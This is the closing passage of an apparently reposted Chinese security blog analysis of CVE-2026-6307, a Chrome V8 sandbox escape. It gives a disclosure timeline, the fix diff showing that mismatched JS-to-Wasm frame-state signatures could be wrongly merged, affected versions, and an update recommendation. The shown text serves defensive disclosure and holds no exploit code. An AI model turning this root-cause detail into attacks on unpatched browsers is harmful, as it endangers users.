  • 2026-03-31:Google 确定了根本原因并完成了修复。
  • 2026-04-07:修复程序在 Chrome 147.0.7727.101 版本中发布。
  • 2026-06-29:我们发布了这篇博客文章。

缓解措施

diff --git a/src/compiler/frame-states.cc b/src/compiler/frame-states.cc
index 7c15107243d..5312f07b5fe 100644
--- a/src/compiler/frame-states.cc
+++ b/src/compiler/frame-states.cc
@@ -37,11 +37,12 @@ std::ostream& operator<<(std::ostream& os, OutputFrameStateCombine const& sc) {
&nbsp;bool operator==(FrameStateFunctionInfo const& lhs,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;FrameStateFunctionInfo const& rhs) {
&nbsp;#if&nbsp;V8_HOST_ARCH_X64
-// If this static_assert fails, then you've probably added a new field to
-// FrameStateFunctionInfo. Make sure to take it into account in this equality
-// function, and update the static\_assert.
+// If these static_asserts fail, then you've probably added a new field to
+// FrameStateFunctionInfo or JSToWasmFrameStateFunctionInfo. Make sure to
+// take it into account in this function, and update the static\_assert.
&nbsp;#if&nbsp;V8_ENABLE_WEBASSEMBLY
&nbsp; &nbsp;static_assert(sizeof(FrameStateFunctionInfo) == 40);
+ &nbsp;static_assert(sizeof(JSToWasmFrameStateFunctionInfo) == 48);
&nbsp;#else
&nbsp; &nbsp;static_assert(sizeof(FrameStateFunctionInfo) == 32);
&nbsp;#endif
@@ -52,6 +53,18 @@ bool operator==(FrameStateFunctionInfo const& lhs,
&nbsp; &nbsp; &nbsp; &nbsp;lhs.wasm_function_index() != rhs.wasm_function_index()) {
&nbsp; &nbsp; &nbsp;return false;
&nbsp; &nbsp;}
+
+ &nbsp;// JSToWasmFrameStateFunctionInfo has an additional signature\_ field.
+ &nbsp;// Two frame states with different wasm signatures must not compare equal,
+ &nbsp;// otherwise CSE/GVN can merge them and the deoptimizer will use the wrong
+ &nbsp;// signature to materialize the continuation frame.
+ &nbsp;if (lhs.type() == FrameStateType::kJSToWasmBuiltinContinuation &&
+ &nbsp; &nbsp; &nbsp;rhs.type() == FrameStateType::kJSToWasmBuiltinContinuation) {
+ &nbsp; &nbsp;if (static_cast<const JSToWasmFrameStateFunctionInfo&>(lhs).signature() !=
+ &nbsp; &nbsp; &nbsp; &nbsp;static_cast<const JSToWasmFrameStateFunctionInfo&>(rhs).signature()) {
+ &nbsp; &nbsp; &nbsp;return false;
+ &nbsp; &nbsp;}
+ &nbsp;}

对于用户来说,请更新到最新版本的 Chrome。

受影响版本

该漏洞在 Chrome 106 版本中引入,报告时可能影响 148 Beta 版本,并在 Chrome 147.0.7727.101 版本中修复。任何发布的 Chrome 106 至 147 之间的版本均受影响。

  • END –

感谢阅读,如果觉得还不错的话,动动手指给个三连吧~


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:骨哥说事 骨哥说事 骨哥说事《【CVE-2026-6307】一石二鸟, Chrome V8 沙箱逃逸漏洞深度解析》

评论:0   参与:  0